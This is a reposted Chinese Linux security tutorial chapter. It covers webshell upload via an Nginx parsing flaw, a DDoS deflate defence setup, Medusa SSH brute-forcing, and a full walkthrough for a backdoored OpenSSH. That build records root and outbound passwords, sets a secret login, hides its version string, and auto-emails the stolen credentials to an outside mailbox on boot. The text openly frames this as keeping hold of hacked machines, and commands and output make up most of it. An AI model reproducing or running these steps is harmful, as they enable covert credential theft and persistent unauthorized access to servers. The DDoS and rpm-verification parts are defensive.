WEBSHELL-防止DDOS-暴力破解-自动劫持密码

webshell-防止DDOS-暴力破解-自动劫持密码

1  webshell使用方法

2  使用DDoS deflate 解决服务器被DDOS攻击的问题

23.1  webshell使用方法

23.1.1  攻击思路

想要拿下一台主机A的权限:

 1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞。

2、拿到对A有一定权限的身份。如果对方是一个WEB服务器,想办法上传webshell然后提权(利用对方的应用程序的漏洞)

3、传上去后,得到apache身份,提权           

23.1.2  webshell使用方法

上传木马程序:

方法1:nginx解析漏洞。  把aa.php 改成 aa.jpg  ,通过网站中的上传图片功能上传到服务器。可以直接执行php程序。

详情:CVE-2013-4547 Nginx解析漏洞深入利用及分析 :http://drops.wooyun.org/tips/2006

 

方法2:把webshell通过base64编码加密后,注入数据库。使用时,解密后,再执行。

 

实验环境:搭建一个LAMP环境。  上传webshell2.php到服务器上

[root@k63 ~]# yum -y install httpd mariadb-server mariadb php php-mysql

[root@k63 ~]# cp webshell2.php  /var/www/html/

[root@k63 ~]# systemctl start httpd

[root@k63 ~]# systemctl start mariadb

[root@k63 ~]# mysqladmin -u root password  "123456"

测试:

http://192.168.1.63/webshell2.php

 

密码:xuegod

 

登录以后能够看到web service的网站根目录的文件,也可以指定某个目录,但是需要该目录具体读的权限

 

也可以下载这些文件

 

打开MySQL管理器,可以登录到数据库,选项数据库,可以看到数据库中的数据

 

下载数据库中的表

 

执行数据库语句

 

执行一些简单的命令

 

查看在/tmp目录下创建的文件

 

回到主机中的/tmp目录查看刚刚所创建的文件,是以kill用户身份创建的,这里kill用户是php启动用户

 

PHP变量相关,默认可以查看到PHP一些变量,类似于phpinfo,也可以在文本框中输入PHP变量

 

执行PHP代码

<?php

   phpinfo();

?>

 

输入PHP代码的执行结果

 

 

返回连接,相当一个客户去连接另外一台主机,指定IP,端口则可以开启连接其他主机

 

 

扩展nc命令:

使用nc创建一个黑客监听服务器端口,随时客户端上传的数据

[root@k63 ~]# nc -l 9999 < /etc/passwd

[root@k63 ~]# netstat -antup | grep 9999

tcp        0      0 0.0.0.0:9999                0.0.0.0:*                   LISTEN      55067/nc

登录xuegod64接收数据:

[root@xuegod64 ~]# nc 192.168.1.63 9999 > a.txt

[root@xuegod64 ~]# vim a.txt

注: 木马程序: server在被黑的机器上。  客户端在黑客的本地。

23.2  实战:使用DDoS deflate 解决服务器被DDOS攻击的问题

23.2.1  如何查是否受到了DDOS攻击

DDOS概述:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。

1、编写查看DDOS攻击的脚本内容

 [root@k63 ~]# vim  ddos-test.sh   #写入以下内容

#!/bin/bash

netstat -ntu | awk '{print $5}' | cut -d: -f4 | sort | uniq -c | sort -n

[root@k63 ~]# chmod +x ddos-test.sh

注释:

#!/bin/bash

netstat -ntu | awk '{print $5}' | cut -d: -f1             | sort |   uniq -c     | sort -n

  截取外网IP和端口     截取外网的IP以:为分隔符  |排序 | 排除相同的记录  | 排序并统计

 

注:这个脚本在不同的机器上执行时,因为  print $5 取得的结果不一样,所以需要根据实际情况,改变cut -d: -f1 中fn的值。 如果-f1 不行,就使用f4

cut -d: -f1   #以冒号为分隔符,取第一列的值。

 

2、模拟DDOS攻击

[root@k63 ~]#  ab -n 100 -c 10 http://192.168.1.63/index.html  #开始攻击

[root@k63 ~]# ./ddos-test.sh  #查看已经建立的网络连接数

      1 42.99.254.162

      1 Address

      1 servers)

      2 192.168.1.106

      2 192.168.1.23

102 192.168.1.63

 

23.2.2  实战:使用DDoS deflate 解决服务器被DDOS攻击的问题

1、防止DDOS攻击的方法

方法一: 手动写iptables 规则,ip地址数比较少时

方法二: 检测到访问次数比较多的ip地址后,自动添加iptables规则。如fail2ban或linux+DDoS deflate

2、DDoS deflate介绍

DDoS deflate是一款免费的用来防御和减轻DDoS攻击的脚本。它通过netstat监测跟踪创建大量网络连接的IP地址,在检测到某个结点超过预设的限制时,该程序会通过APF或IPTABLES禁止或阻挡这些IP。

方法三:加大带宽,增加服务器,使用CDN技术

3、检测是否有DDOS攻击

执行:

[root@k63 ~]# netstat -ntu | awk '{print $5}' | cut -d: -f4 | sort | uniq -c | sort -n

如果发现某个IP连接数据上百的链接,说明就有DDOS攻击。

 

下面开始安装DDos deflate

4、安装DDoS deflate

[root@k63 ~]# wget http://www.inetbase.com/scripts/ddos/install.sh  

下载DDoS  deflate,保证可以上网

[root@k63 ~]# chmod 700 install.sh    #添加权限

[root@k63 ~]#./install.sh             #执行

Installing DOS-Deflate 0.6

Downloading source files.........done

Creating cron to run script every minute.....(Default setting).....done

Installation has completed.

Config file is at /usr/local/ddos/ddos.conf

Please send in your comments and/or suggestions to zaf@vsnl.com

###################################################

###############################################

#                       "Artistic License"                                   #

#                                                                            #

#                           Preamble                                         #

#                                                                            #

# The intent of this document is to state the conditions under which a       #

# Package may be copied, such that the Copyright Holder maintains some       #

q 输入q 退出。

5、查看安装后的配置文件

DDoS deflate的默认配置位于/usr/local/ddos/ddos.conf ,内容如下:

[root@k63 ~]# vim /usr/local/ddos/ddos.conf

##### Paths of the script and other files

PROGDIR="/usr/local/ddos"

PROG="/usr/local/ddos/ddos.sh"  #要执行的DDOS脚本

IGNORE_IP_LIST="/usr/local/ddos/ignore.ip.list"  #IP地址白名单,注:在这个文件中IP不受控制。

CRON="/etc/cron.d/ddos.cron"    #定时执行程序

 

6、查看定时任务

[root@k63 ~]# cat  /etc/cron.d/ddos.cron

SHELL=/bin/sh

0-59/1 * * * * root /usr/local/ddos/ddos.sh >/dev/null 2>&1

 

23.2.3  使用DDos deflate

实战场景: 如果1分钟内,一个IP地址对我们服务器访问150次以上,就认为发生DDOS,使用iptables把这个IP地址自动屏蔽掉。

1、修改配置文件

[root@k63 ~]# vim /usr/local/ddos/ddos.conf

配置文件中的注释如下:

##### frequency in minutes for running the script

##### Caution: Every time this setting is changed, run the script with --cron

#####          option so that the new frequency takes effect

FREQ=1   #检查时间间隔,默认1分钟

 

##### How many connections define a bad IP? Indicate that below.

NO_OF_CONNECTIONS=150     #最大连接数,超过这个数IP就会被屏蔽,一般默认即可

 

##### APF_BAN=1 (Make sure your APF version is atleast 0.96)

##### APF_BAN=0 (Uses iptables for banning ips instead of APF)

APF_BAN=1        #使用APF还是iptables。推荐使用iptables,将APF_BAN的值改为0即可。

改:19 APF_BAN=1

为:19 APF_BAN=0

##### KILL=0 (Bad IPs are'nt banned, good for interactive execution of script)

##### KILL=1 (Recommended setting)

KILL=1   #是否屏蔽IP,默认即可

 

##### An email is sent to the following address when an IP is banned.

##### Blank would suppress sending of mails

EMAIL_TO=kill@xuegod.com   #当IP被屏蔽时给指定邮箱发送邮件报警,换成自己的邮箱即可

 

##### Number of seconds the banned ip should remain in blacklist.

BAN_PERIOD=600    #禁用IP时间,默认600秒,可根据情况调整

用户可根据给默认配置文件加上的注释提示内容,修改配置文件。

注:安装后,不需要手动运行任何软件,因为有crontab计划任务,每过一分钟,会行自动执行一次。检查是否有不正常的访问量

 

2、 在xuegod64上模拟DDOS

[root@xuegod64 ~]# ab -n 1000 -c 10 http://192.168.1.63/index.html

等待一分钟后,在xudgod63查看结果,多了一条规则

[root@k63 ~]# iptables -L -n          #可以看到已经把192.168.1.64给拒绝了。

Chain INPUT (policy ACCEPT)

target     prot  opt  source               destination        

DROP       all   --   192.168.1.64         0.0.0.0/0          

 

3、卸载软件

卸载软件的本质: 删除软件安装后的文件

安装软件的本质:把你写的软件文件,复制对应的目录下

[root@k63 ~]# wget http://www.inetbase.com/scripts/ddos/uninstall.ddos

[root@k63 ~]# chmod +x uninstall.ddos

[root@k63 ~]# ./uninstall.ddos

 

23.3  使用Medusa美杜莎暴力破解SSH密码

1、Medusa简介

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具。

官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。

软件下载地址:https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz

 

2、安装medusa ,手动编译和安装medusa

[root@k63 ~]# yum install libssh2-devel libssh2-devel  -y

[root@k63 ~]# tar zxvf 2.2.tar.gz

[root@k63 ~]# cd medusa-2.2/

[root@k63 medusa-2.2]# ./configure   --enable-debug=yes --enable-module-afp=yes --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes --enable-module-web-form=yes

#这个参数中加入很多模块,这样方便后期使用。--enable-module-ssh=yes这个就是稍后要使用的暴力破解sshd服务的模块。

[root@k63 medusa-2.2]# make -j 4

[root@k63 medusa-2.2]# make install         #安装完成后,会将medusa的一些modules 文件复制到/usr/local/lib/medusa/modules文件夹。

[root@k63 ~]# ls /usr/local/lib/medusa/modules  #查看已经生成的模块

 

3、Medusa参数说明

Medusa [-hhost|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module[OPT]

-h [TEXT]      目标主机名称或者IP地址

-H [FILE]       包含目标主机名称或者IP地址文件

-u [TEXT]      测试的用户名

-U [FILE]       包含测试的用户名文件

-p [TEXT]      测试的密码

-P [FILE]       包含测试的密码文件

-C [FILE]       组合条目文件

-O [FILE]       日志信息文件

-e [n/s/ns]    n代表空密码,s代表为密码与用户名相同

-M [TEXT]      模块执行名称

-m [TEXT]      传递参数到模块

-d                 显示所有的模块名称

-n [NUM]       使用非默认Tcp端口

-s                 启用SSL

-r [NUM]       重试间隔时间,默认为3秒

-t [NUM]       设定线程数量

-T             同时测试的主机总数

-L                 并行化,每个用户使用一个线程

-f                 在任何主机上找到第一个账号/密码后,停止破解

-F                在任何主机上找到第一个有效的用户名/密码后停止审计。

-q                显示模块的使用信息

-v [NUM]      详细级别(0-6)

-w [NUM]     错误调试级别(0-10)

-V                显示版本

-Z [TEXT]      继续扫描上一次

 

4、破解单一服务器SSH密码

例1:通过文件来指定host和user,host.txt为目标主机名称或者IP地址,user.txt指定需要暴力破解的用户名,密码指定为123456。

[root@k63 medusa-2.2]# cd

[root@k63 ~]# echo 192.168.1.63 > /root/host.txt

[root@k63 ~]# echo root > /root/users.txt

[root@k63 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -p 123456

 

注:可以看到暴解成功。

 

例2:对单一服务器进行密码字典暴力破解

[root@k63 ~]# vim /root/p.txt       #写入以下内容,每行一个密码,做一个临时字典 。

123

abc123

123456

666666

注:其中123456 是我们的密码

[root@k63 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt

  如图所示,破解成功后会显示success字样

 

例3:加-O  ssh.log 可以将成功破解的记录记录到ssh.log文件中

[root@k63 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O ./ssh.log

[root@k63 ~]# cat ssh.log

# Medusa v.2.2 (2018-10-19 22:03:27)

# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O ssh.log

ACCOUNT FOUND: [ssh] Host: 192.168.1.63 User: root Password: 123456 [SUCCESS]

# Medusa has finished (2018-10-19 22:03:30).

 

23.4  实战-自动劫持root密码并转发密码到邮箱

本节所使用实验环境:RHEL 6,在Centos7下无法实现

为什么要自动劫持root密码并转发密码到我的QQ邮箱 ?因为当你做黑客时,你的肉鸡密码被修改后,我们希望可以收到管理员修改的密码。

 

23.4.1  劫持root密码的过程

     实验拓扑图:

 

思路:在k63上安装一个打了后门补丁的sshd服务,当用户来连接时,直接把密码记录下来。然后使用脚本发给我们的邮箱中。

1、查看ssh版本

[root@k63 tmp]# ssh -v    #查看安装前ssh版本

OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

 

2、确认gcc是否已安装

[root@k63 tmp]# gcc -v  #确认安装gcc

。。。

gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC)

 

3、安装gcc

[root@k63 tmp]# yum install gcc  #如果没安装gcc,就安装一下

 

4、上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/tmp目录

 

5、进入文件目录

[root@k63 tmp]# cd /tmp

解压文件

[root@k63 tmp]# tar zxvf openssh-5.9p1.tar.gz

[root@k63 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz

23.4.2  对openssh-5.9p1打后门漏洞补丁

1、开始打补丁

[root@k63 tmp]# cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1/

[root@k63 tmp]# cd openssh-5.9p1

[root@k63 openssh-5.9p1]# patch < sshbd5.9p1.diff   #打补就修改或者替换原来的文件

patching file auth.c   #认证

patching file auth-pam.c  #认证

patching file auth-passwd.c  #认证

patching file canohost.c

patching file includes.h  

patching file log.c

patching file servconf.c     #关于sshd服务端

patching file sshconnect2.c   #关于sshd连接

patching file sshlogin.c  #关于登录,把root密码记录下来

patching file version.h   #关于版本

 

2、修改后门密码和记录root密码的文件夹目录

[root@k63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h

找到:

改:

177  #define ILOG "/tmp/ilog"       #记录登录到本机的用户名和密码

178  #define OLOG "/tmp/olog"     #记录从本机登录到其他服务器上的用户名和密码

179  #define SECRETPW "apaajaboleh"    #你后门密码

 

为:

177  #define ILOG "/usr/share/ifile"

178  #define OLOG "/usr/share/ofile"

179  #define SECRETPW "xuegod"

 

安装后的sshd服务的版本号为:

[root@k63 ~]# ssh -v

OpenSSH_5.8p1 Debian-1ubuntu3p1, OpenSSL 1.0.0-fips 29 Mar 2010

 

原来系统的版本:

[root@k63 ~]# ssh -v

OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

 

3、为了使用安后的版本和原系统的版本一样,修改版本号:

[root@k63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/version.h

改:

  3 #define SSH_VERSION     "OpenSSH_5.8p1 Debian-1ubuntu3"

  4

  5 #define SSH_PORTABLE    "p1"

为:

3 #define SSH_VERSION     " OpenSSH_5.3"

4

5 #define SSH_PORTABLE    "p1"

 

4、安装打了后门补丁的sshd服务

[root@k63 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel

开始安装:

[root@k63 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5   

参数说明:

--prefix=/usr  #指定安装到/usr 目录下

--sysconfdir=/etc/ssh  #指定sshd服务配置文件目录

--with-pam  #支持pam认证

--with-kerberos5  #支持kerberos认证

 

[root@k63 openssh-5.9p1]# make -j 4 && make install

。。。

/usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh   

/usr/bin/install -c -m 0755 -s scp /usr/bin/scp

/usr/bin/install -c -m 0755 -s ssh-add /usr/bin/ssh-add

/usr/bin/install -c -m 0755 -s ssh-agent /usr/bin/ssh-agent

/usr/bin/install -c -m 0755 -s ssh-keygen /usr/bin/ssh-keygen

/usr/bin/install -c -m 0755 -s ssh-keyscan /usr/bin/ssh-keyscan

/usr/bin/install -c -m 0755 -s sshd /usr/sbin/sshd

/usr/bin/install -c -m 4711 -s ssh-keysign /usr/libexec/ssh-keysign

/usr/bin/install -c -m 0755 -s ssh-pkcs11-helper /usr/libexec/ssh-pkcs11-helper

/usr/bin/install -c -m 0755 -s sftp /usr/bin/sftp

 

扩展: 通过rpm -Vf 检查命令是否被替换

[root@k63 openssh-5.9p1]# rpm -Vf /usr/bin/scp

S.5....T.    /usr/bin/scp

S.5....T.    /usr/bin/sftp

S.5....T.    /usr/bin/ssh

S.5....T.    /usr/bin/ssh-add

SM5...GT.    /usr/bin/ssh-agent

S.5....T.    /usr/bin/ssh-keyscan

可以看到很多ssh协议相关的命令,都被我们安装的sshd服务相关的命令替换了。这是黑客经常做的事情。

 

5、重启sshd服务:

[root@k63 openssh-5.9p1]# service sshd restart

6、、测试劫持密码

测试前,发现/usr/share/ifile文件没有存在

[root@k63 ~]# ls /usr/share/ifile

ls: cannot access /usr/share/ifile: No such file or directory

 

7、使用xshell登录k63,模拟远程登录

 

8、查看劫持到root密码

[root@k63 ~]# cat /usr/share/ifile

user:password --> root:123456

 

9、另外我们也可以使用后门密码来登录root帐号

[root@k63 openssh-5.9p1]# ssh root@192.168.1.63  输入密码:xuegod

查看:

[root@k63 ~]# cat /usr/share/ofile

user:password@host --> root:xuegod@192.168.1.63

 

23.4.3  测试记录远程主机的密码

1、使用k63登录远程主机xuegod64

[root@k63 ~]# ssh root@192.168.1.64

root@192.168.1.64's password:123456

Last login: Wed Aug 12 19:29:28 2015 from 192.168.1.63

[root@xuegod64 ~]# exit

[root@k63 ~]# cat /usr/share/ofile   #查看记录从xuegod64登录到远程主机的密码

user:password@host --> root:123456@192.168.1.63

user:password@host --> root:123456@192.168.1.64

 

23.4.5  自动发送邮件

这里以163的smtp服务器为例,实现自动发送邮件有以下两种方法:

方法1:通过sendmail或postfix给自己发邮件。 缺点: 需要开服务

方法2:LINUX下通过外部SMTP服务器发邮件,就像在Linux安装一个foxmail。

1、使用mail.rc实现发邮件

[root@k63 ~]# vim /etc/mail.rc  #在此文件中间,随机找个位置插入以下内容:

set from=helloworld14@163.com smtp=smtp.163.com 

set smtp-auth-user=helloworld14 smtp-auth-password=PASSWORD smtp-auth=login

注:

set from=helloworld14@163.com  #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。

set smtp-auth-user=helloworld14  #写自己发件人的邮箱帐号

smtp-auth-password=PASSWORD   #写自己发件人的邮箱密码

2、配置163邮箱,开启pop3/smtp服务

登录mail.163.com网站

点:设置->POP3/SMTP/IMAP->开启pop3服务(勾选开启pop3服务后,smtp也会自动开启)

 

 

 

 

点击开启POP3/SMTP/IMAP服务

勾选POP3/SMTP服务,随后弹出提醒相关信息,点击确定

 

勾选开启,随后需要设置客户端授权,需要手机以短信形式获取验证码,获取验证后,输入验证码并点击确定

 

 

设置授权密码,此密码用于第三方邮件客户端使用,既在linux主机实验中发送邮件也是使用该密码

 

设置第三方邮件客户端密码完成后,随后出现设置授权提示,点击确定即可完成设置

 

3、测试邮件发送

[root@k63 ~]# mail -s "demo title" helloworld14@163.com <  /usr/share/ifile

查看:

 

 

4、编写shell脚本自动发邮件,邮件的主题是服务器的IP地址

[root@k63 bin]# vim  /bin/zipmail  #写入以下内容

#!/bin/bash

ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`

mail -s $ip helloworld14@163.com < /usr/share/ifile

[root@k63 bin]# chmod +x /bin/zipmail

 

5、测试

[root@k63 bin]# zipmail

发现也可以收到邮件,说明成功。

 

23.4.6  实现当用户修改密码后,自动发邮件

1、安装inotify

[root@k63 ~]# cd /tmp/

[root@k63 tmp]# tar -zxvf inotify-tools-3.13.tar.gz

[root@k63 tmp]# cd inotify-tools-3.13

[root@k63 inotify-tools-3.13]# ./configure         #检查安装环境

[root@k63 inotify-tools-3.13]# make -j 4   #make编译,将源代码编译成二进制,可执行的文件   # -j  4 使用4个CPU一起编译。

[root@k63 inotify-tools-3.13]# make  install      #安装。

 

2、编写触发式自动发邮件脚本

[root@k63 ~]# vim /bin/zipmail

#!/bin/bash

/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile |while read a b c

do

ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`

mail -s $ip helloworld14@163.com < /usr/share/ifile

done

 

4、设置开机启动zipmail脚本

[root@k63 ~]# vim /etc/rc.local    #在此文件的最后插入以下内容。

/bin/zipmail &

 

5、测试

[root@k63 ~]# bash  /etc/rc.local  #可以运行

 

6、排查:

方法1:

[root@k63 ~]# ps -axu | grep inoti   #查看进程是否运行

Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ

root     25112  0.0  0.0   6284   524 pts/1    S    17:40   0:00 /usr/local/bin/inotifywait -mrq -e create,move,delete,modify /tmp/ilog

root     25176  0.0  0.0   6284   528 pts/2    S    17:43   0:00

 

方法2:

[root@k63 ~]# rpm -Vf /usr/bin/ssh  #查看命令是否被黑客替换

S.5....T.    /usr/bin/scp

S.5....T.    /usr/bin/sftp

S.5....T.    /usr/bin/ssh

S.5....T.    /usr/bin/ssh-add

SM5...GT.    /usr/bin/ssh-agent

S.5....T.    /usr/bin/ssh-keyscan

 

总结:

 23.1  webshell使用方法

 23.2  使用DDoS deflate 解决服务器被DDOS攻击的问题

 23.3  使用Medusa美杜莎暴力破解SSH密码

 23.4  自动劫持root密码并转发密码到邮箱

 

转载于:https://www.cnblogs.com/kezi/articles/11541613.html

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值